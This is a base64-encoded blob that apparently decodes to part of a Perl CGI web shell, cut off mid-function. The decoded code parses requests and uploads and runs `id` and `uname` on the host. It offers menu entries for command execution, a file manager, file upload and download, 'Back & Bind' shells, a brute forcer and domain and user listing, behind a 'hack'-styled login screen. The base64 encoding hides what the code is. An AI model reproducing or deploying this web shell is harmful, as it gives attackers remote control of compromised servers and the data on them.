CiRyb3dzPSAyNjsKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQKIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLgojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YKIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQojIHNjcmlwdHMuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJlYWRQYXJzZSAKewoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsKCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7CgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsKCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpCgl7CgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307Cgl9CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikKCXsKCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7CgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsKCX0KCSMgaGFuZGxlIGZpbGUgdXBsb2FkIGRhdGEKCWlmKCRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvKQoJewoJCSRCb3VuZGFyeSA9ICctLScuJDE7ICMgcGxlYXNlIHJlZmVyIHRvIFJGQzE4NjcgCgkJQGxpc3QgPSBzcGxpdCgvJEJvdW5kYXJ5LywgJGluKTsgCgkJJEhlYWRlckJvZHkgPSAkbGlzdFsxXTsKCQkkSGVhZGVyQm9keSA9fiAvXHJcblxyXG58XG5cbi87CgkJJEhlYWRlciA9ICRgOwoJCSRCb2R5ID0gJCc7CiAJCSRCb2R5ID1+IHMvXHJcbiQvLzsgIyB0aGUgbGFzdCBcclxuIHdhcyBwdXQgaW4gYnkgTmV0c2NhcGUKCQkkaW57J2ZpbGVkYXRhJ30gPSAkQm9keTsKCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IAoJCSRpbnsnZid9ID0gJDE7IAoJCSRpbnsnZid9ID1+IHMvXCIvL2c7CgkJJGlueydmJ30gPX4gcy9ccy8vZzsKCgkJIyBwYXJzZSB0cmFpbGVyCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykKCQl7IAoJCQkkbGlzdFskaV0gPX4gcy9eLituYW1lPSQvLzsKCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIvOwoJCQkka2V5ID0gJDE7CgkJCSR2YWwgPSAkJzsKCQkJJHZhbCA9fiBzLyheKFxyXG5cclxufFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsKCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJGlueyRrZXl9ID0gJHZhbDsgCgkJfQoJfQoJZWxzZSAjIHN0YW5kYXJkIHBvc3QgZGF0YSAodXJsIGVuY29kZWQsIG5vdCBtdWx0aXBhcnQpCgl7CgkJQGluID0gc3BsaXQoLyYvLCAkaW4pOwoJCWZvcmVhY2ggJGkgKDAgLi4gJCNpbikKCQl7CgkJCSRpblskaV0gPX4gcy9cKy8gL2c7CgkJCSgka2V5LCAkdmFsKSA9IHNwbGl0KC89LywgJGluWyRpXSwgMik7CgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSAuPSAiXDAiIGlmIChkZWZpbmVkKCRpbnska2V5fSkpOwoJCQkkaW57JGtleX0gLj0gJHZhbDsKCQl9Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIGZ1bmN0aW9uIEVuY29kZURpcjogZW5jb2RlIGJhc2U2NCBQYXRoCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEVuY29kZURpcgp7CglteSAkZGlyID0gc2hpZnQ7CgkkZGlyID0gdHJpbShlbmNvZGVfYmFzZTY0KCRkaXIpKTsKCSRkaXIgPX4gcy8oXHJ8XG4pLy87CglyZXR1cm4gJGRpcjsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIFBhZ2UgSGVhZGVyCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VIZWFkZXIKewoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJbXkgJGlkID0gYGlkYCBpZighJFdpbk5UKTsKCW15ICRpbmZvID0gYHVuYW1lIC1zIC1uIC1yIC1pYDsKCXByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOwoJcHJpbnQgPDxFTkQ7CjxodG1sPgo8aGVhZD4KPG1ldGEgaHR0cC1lcXVpdj0iY29udGVudC10eXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiPgo8dGl0bGU+JEVOVnsnU0VSVkVSX05BTUUnfSB8IElQIDogJEVOVnsnU0VSVkVSX0FERFInfSA8L3RpdGxlPgokSHRtbE1ldGFIZWFkZXIKPC9oZWFkPgo8c3R5bGU+CmJvZHl7CmZvbnQ6IDEwcHQgVmVyZGFuYTsKY29sb3I6ICNmZmY7Cn0KdHIsdGQsdGFibGUsaW5wdXQsdGV4dGFyZWEgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKfQojZG9tYWluIHRyOmhvdmVyewpiYWNrZ3JvdW5kLWNvbG9yOiAjNDQ0Owp9CnRkIHsKY29sb3I6ICNmZmZmZmY7Cn0KLmxpc3RkaXIgdGR7Cgl0ZXh0LWFsaWduOiBjZW50ZXI7Cn0KLmxpc3RkaXIgdGh7Cgljb2xvcjogI0ZGOTkwMDsKfQouZGlyLC5maWxlCnsKCXRleHQtYWxpZ246IGxlZnQgIWltcG9ydGFudDsKfQouZGlyewoJZm9udC1zaXplOiAxMHB0OyAKCWZvbnQtd2VpZ2h0OiBib2xkOwp9CnRhYmxlIHsKQkFDS0dST1VORC1DT0xPUjogIzExMTsKfQppbnB1dCB7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpjb2xvcjogI2ZmOTkwMDsKfQppbnB1dC5zdWJtaXQgewp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47CmNvbG9yOiAjRkZGRkZGOwpib3JkZXItY29sb3I6ICMwMDk5MDA7Cn0KY29kZSB7CmJvcmRlcjogZGFzaGVkIDBweCAjMzMzOwpjb2xvcjogd2hpbGU7Cn0KcnVuIHsKYm9yZGVyCQkJOiBkYXNoZWQgMHB4ICMzMzM7CmNvbG9yOiAjRkYwMEFBOwp9CnRleHRhcmVhIHsKQkFDS0dST1VORC1DT0xPUjogIzFiMWIxYjsKZm9udDogRml4ZWRzeXMgYm9sZDsKY29sb3I6ICNhYWE7Cn0KQTpsaW5rIHsKCUNPTE9SOiAjZmZmZmZmOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOnZpc2l0ZWQgewoJQ09MT1I6ICNmZmZmZmY7IFRFWFQtREVDT1JBVElPTjogbm9uZQp9CkE6aG92ZXIgewoJdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOwoJY29sb3I6ICNGRkZGRkY7IFRFWFQtREVDT1JBVElPTjogbm9uZQp9CkE6YWN0aXZlIHsKCWNvbG9yOiBSZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZQp9Ci5saXN0ZGlyIHRyOmhvdmVyewoJYmFja2dyb3VuZDogIzQ0NDsKfQoubGlzdGRpciB0cjpob3ZlciB0ZHsKCWJhY2tncm91bmQ6ICM0NDQ7Cgl0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47Cgljb2xvcjogI0ZGRkZGRjsgVEVYVC1ERUNPUkFUSU9OOiBub25lOwp9Ci5ub3RsaW5lewoJYmFja2dyb3VuZDogIzExMTsKfQoubGluZXsKCWJhY2tncm91bmQ6ICMyMjI7Cn0KPC9zdHlsZT4KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+CmZ1bmN0aW9uIEVuY29kZXIobmFtZSkKewoJdmFyIGUgPSAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQobmFtZSk7CgllLnZhbHVlID0gYnRvYShlLnZhbHVlKTsKCXJldHVybiB0cnVlOwp9CmZ1bmN0aW9uIGNobW9kX2Zvcm0oaSxmaWxlKQp7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdndWknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9JyRFbmNvZGVDdXJyZW50RGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsKfQpmdW5jdGlvbiBybV9jaG1vZF9mb3JtKHJlc3BvbnNlLGkscGVybXMsZmlsZSkKewoJcmVzcG9uc2UuaW5uZXJIVE1MID0gIjxzcGFuIG9uY2xpY2s9XFxcImNobW9kX2Zvcm0oIiArIGkgKyAiLCciKyBmaWxlKyAiJylcXFwiID4iKyBwZXJtcyArIjwvc3Bhbj48L3RkPiI7Cn0KZnVuY3Rpb24gcmVuYW1lX2Zvcm0oaSxmaWxlLGYpCnsKCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOwoJdmFyIGJhY2s9InJtX3JlbmFtZV9mb3JtKCIraSsiLFxcXCIiK2ZpbGUrIlxcXCIsXFxcIiIrZisiXFxcIik7IHJldHVybiBmYWxzZTsiOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nJyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1yZW5hbWUgdHlwZT10ZXh0IHZhbHVlPSAnIitmaWxlKyInIC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIHZhbHVlPU9LPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYmFjayArICInIHZhbHVlPUNhbmNlbD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdndWknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9JyRFbmNvZGVDdXJyZW50RGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsKfQpmdW5jdGlvbiBybV9yZW5hbWVfZm9ybShpLGZpbGUsZikKewoJaWYoZj09J2YnKQoJewoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc/YT1jb21tYW5kJmQ9JEVuY29kZUN1cnJlbnREaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsKCX1lbHNlCgl7CgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOwoJfQp9Cjwvc2NyaXB0Pgo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzBjMGMwYyIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4KPGNlbnRlcj48Y29kZT4KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+Cjx0cj4KCTx0ZCBhbGlnbj0iY2VudGVyIiByb3dzcGFuPTM+CgkJPGI+PGZvbnQgc2l6ZT0iMyI+JEVkaXRQZXJzaW9uPC9mb250PjwvYj4KCTwvdGQ+Cgk8dGQ+CgkJJGluZm8KCTwvdGQ+Cgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSJyZWQiPiAkRU5WeydTRVJWRVJfQUREUid9PC9mb250PiB8IFlvdXIgSVA6IDxmb250IGNvbG9yPSJyZWQiPiRFTlZ7J1JFTU9URV9BRERSJ308L2ZvbnQ+Cgk8L3RkPgo8L3RyPgo8dHI+Cjx0ZCBjb2xzcGFuPSIyIj4KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uIj5Ib21lPC9hPiB8IAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1jb21tYW5kJmQ9JEVuY29kZUN1cnJlbnREaXIiPkNvbW1hbmQ8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Z3VpJmQ9JEVuY29kZUN1cnJlbnREaXIiPkdVSTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZUN1cnJlbnREaXIiPlVwbG9hZCBGaWxlPC9hPiB8IAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZkPSRFbmNvZGVDdXJyZW50RGlyIj5Eb3dubG9hZCBGaWxlPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJhY2tiaW5kIj5CYWNrICYgQmluZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1icnV0ZWZvcmNlciI+QnJ1dGUgRm9yY2VyPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNoZWNrbG9nIj5DaGVjayBMb2c8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG9tYWluc3VzZXIiPkRvbWFpbnMvVXNlcnM8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5Mb2dvdXQ8L2E+IHwKPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9Ii4uL2Vycm9yX2xvZy5waHAiPkhlbHA8L2E+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiPgokaWQKPC90ZD4KPC90cj4KPC90YWJsZT4KPGZvbnQgaWQ9IlJlc3BvbnNlRGF0YSIgY29sb3I9IiNGRkZGRkYiID4KRU5ECn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5TY3JlZW4KewoJcHJpbnQgPDxFTkQ7CjxwcmU+PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpUeXBpbmdUZXh0ID0gZnVuY3Rpb24oZWxlbWVudCwgaW50ZXJ2YWwsIGN1cnNvciwgZmluaXNoZWRDYWxsYmFjaykgewogIGlmKCh0eXBlb2YgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQgPT0gInVuZGVmaW5lZCIpIHx8ICh0eXBlb2YgZWxlbWVudC5pbm5lckhUTUwgPT0gInVuZGVmaW5lZCIpKSB7CiAgICB0aGlzLnJ1bm5pbmcgPSB0cnVlOwkvLyBOZXZlciBydW4uCiAgICByZXR1cm47CiAgfQogIHRoaXMuZWxlbWVudCA9IGVsZW1lbnQ7CiAgdGhpcy5maW5pc2hlZENhbGxiYWNrID0gKGZpbmlzaGVkQ2FsbGJhY2sgPyBmaW5pc2hlZENhbGxiYWNrIDogZnVuY3Rpb24oKSB7IHJldHVybjsgfSk7CiAgdGhpcy5pbnRlcnZhbCA9ICh0eXBlb2YgaW50ZXJ2YWwgPT0gInVuZGVmaW5lZCIgPyAxMDAgOiBpbnRlcnZhbCk7CiAgdGhpcy5vcmlnVGV4dCA9IHRoaXMuZWxlbWVudC5pbm5lckhUTUw7CiAgdGhpcy51bnBhcnNlZE9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dDsKICB0aGlzLmN1cnNvciA9IChjdXJzb3IgPyBjdXJzb3IgOiAiIik7CiAgdGhpcy5jdXJyZW50VGV4dCA9ICIiOwogIHRoaXMuY3VycmVudENoYXIgPSAwOwogIHRoaXMuZWxlbWVudC50eXBpbmdUZXh0ID0gdGhpczsKICBpZih0aGlzLmVsZW1lbnQuaWQgPT0gIiIpIHRoaXMuZWxlbWVudC5pZCA9ICJ0eXBpbmd0ZXh0IiArIFR5cGluZ1RleHQuY3VycmVudEluZGV4Kys7CiAgVHlwaW5nVGV4dC5hbGwucHVzaCh0aGlzKTsKICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsKICB0aGlzLmluVGFnID0gZmFsc2U7CiAgdGhpcy50YWdCdWZmZXIgPSAiIjsKICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOwogIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciA9ICIiOwp9ClR5cGluZ1RleHQuYWxsID0gbmV3IEFycmF5KCk7ClR5cGluZ1RleHQuY3VycmVudEluZGV4ID0gMDsKVHlwaW5nVGV4dC5ydW5BbGwgPSBmdW5jdGlvbigpIHsKICBmb3IodmFyIGkgPSAwOyBpIDwgVHlwaW5nVGV4dC5hbGwubGVuZ3RoOyBpKyspIFR5cGluZ1RleHQuYWxsW2ldLnJ1bigpOwp9ClR5cGluZ1RleHQucHJvdG90eXBlLnJ1biA9IGZ1bmN0aW9uKCkgewogIGlmKHRoaXMucnVubmluZykgcmV0dXJuOwogIGlmKHR5cGVvZiB0aGlzLm9yaWdUZXh0ID09ICJ1bmRlZmluZWQiKSB7CiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7CS8vIFdlIGhhdmVuJ3QgZmluaXNoZWQgbG9hZGluZyB5ZXQuICBIYXZlIHBhdGllbmNlLgogICAgcmV0dXJuOwogIH0KICBpZih0aGlzLmN1cnJlbnRUZXh0ID09ICIiKSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gIiI7Ci8vICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dC5yZXBsYWNlKC88KFtePF0pKj4vLCAiIik7ICAgICAvLyBTdHJpcCBIVE1MIGZyb20gdGV4dC4KICBpZih0aGlzLmN1cnJlbnRDaGFyIDwgdGhpcy5vcmlnVGV4dC5sZW5ndGgpIHsKICAgIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI8IiAmJiAhdGhpcy5pblRhZykgewogICAgICB0aGlzLnRhZ0J1ZmZlciA9ICI8IjsKICAgICAgdGhpcy5pblRhZyA9IHRydWU7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI+IiAmJiB0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyICs9ICI+IjsKICAgICAgdGhpcy5pblRhZyA9IGZhbHNlOwogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMudGFnQnVmZmVyOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiJiIgJiYgIXRoaXMuaW5IVE1MRW50aXR5KSB7CiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciA9ICImIjsKICAgICAgdGhpcy5pbkhUTUxFbnRpdHkgPSB0cnVlOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiOyIgJiYgdGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9ICI7IjsKICAgICAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsKICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLkhUTUxFbnRpdHlCdWZmZXI7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMuaW5IVE1MRW50aXR5KSB7CiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgewogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgfQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9IHRoaXMuY3VycmVudFRleHQ7CiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MICs9ICh0aGlzLmN1cnJlbnRDaGFyIDwgdGhpcy5vcmlnVGV4dC5sZW5ndGggLSAxID8gKHR5cGVvZiB0aGlzLmN1cnNvciA9PSAiZnVuY3Rpb24iID8gdGhpcy5jdXJzb3IodGhpcy5jdXJyZW50VGV4dCkgOiB0aGlzLmN1cnNvcikgOiAiIik7CiAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7CiAgfSBlbHNlIHsKCXRoaXMuY3VycmVudFRleHQgPSAiIjsKCXRoaXMuY3VycmVudENoYXIgPSAwOwogICAgICAgIHRoaXMucnVubmluZyA9IGZhbHNlOwogICAgICAgIHRoaXMuZmluaXNoZWRDYWxsYmFjaygpOwogIH0KfQo8L3NjcmlwdD4KPC9wcmU+Cgo8YnI+Cgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+Cm5ldyBUeXBpbmdUZXh0KGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJoYWNrIiksIDMwLCBmdW5jdGlvbihpKXsgdmFyIGFyID0gbmV3IEFycmF5KCJfIiwiIik7IHJldHVybiAiICIgKyBhcltpLmxlbmd0aCAlIGFyLmxlbmd0aF07IH0pOwpUeXBpbmdUZXh0LnJ1bkFsbCgpOwoKPC9zY3JpcHQ+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBlbmNvZGUgaHRtbCBzcGVjaWFsIGNoYXJzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFVybEVuY29kZSgkKXsKCW15ICRzdHIgPSBzaGlmdDsKCSRzdHIgPX4gcy8oW15BLVphLXowLTldKS9zcHJpbnRmKCIlJSUwMlgiLCBvcmQoJDEpKS9zZWc7CglyZXR1cm4gJHN0cjsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQWRkIGh0bWwgc3BlY2lhbCBjaGFycwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBIdG1sU3BlY2lhbENoYXJzKCQpewoJbXkgJHRleHQgPSBzaGlmdDsKCSR0ZXh0ID1+IHMvJi8mYW1wOy9nOwoJJHRleHQgPX4gcy8iLyZxdW90Oy9nOwoJJHRleHQgPX4gcy8nLyYjMDM5Oy9nOwoJJHRleHQgPX4gcy88LyZsdDsvZzsKCSR0ZXh0ID1+IHMvPi8mZ3Q7L2c7CglyZXR1cm4gJHRleHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEFkZCBsaW5rIGZvciBkaXJlY3RvcnkKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQWRkTGlua0RpcigkKQp7CglteSAkYWM9c2hpZnQ7CglteSB